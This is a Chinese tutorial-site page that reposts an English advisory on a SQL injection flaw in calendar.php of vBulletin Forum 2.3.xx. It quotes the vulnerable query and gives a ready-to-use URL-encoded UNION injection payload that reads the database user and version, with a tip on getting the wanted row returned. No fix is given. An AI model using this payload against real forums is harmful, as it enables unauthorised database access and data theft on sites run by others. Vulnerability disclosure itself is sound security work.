当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection

PHP
编写自己的php扩展函数
用Socket发送电子邮件
Get或Post提交值的非法数据处理
一个可查询所有表的“通用”查询分页类
拼音码表的生成
一个odbc连mssql分页的类
用PHP动态创建Flash动画
如何使用PHP获取网络上文件
PHP中路径问题的解决方案
论坛头像随机变换代码
十天学会php(2)
十天学会php(1)
十天学会php(3)
PHP自动生成月历代码
关于PHP中的Class的几点个人看法
Win9x/ME下Apache+PHP安装配置
基于PHP+MySQL的聊天室设计
PHPlet在Windows下的安装
Search Engine Friendly的URL设计
如何给phpadmin一个保护

PHP 中的 vBulletin Forum 2.3.xx SQL Injection


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 56 ::
收藏到网摘: n/a


vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.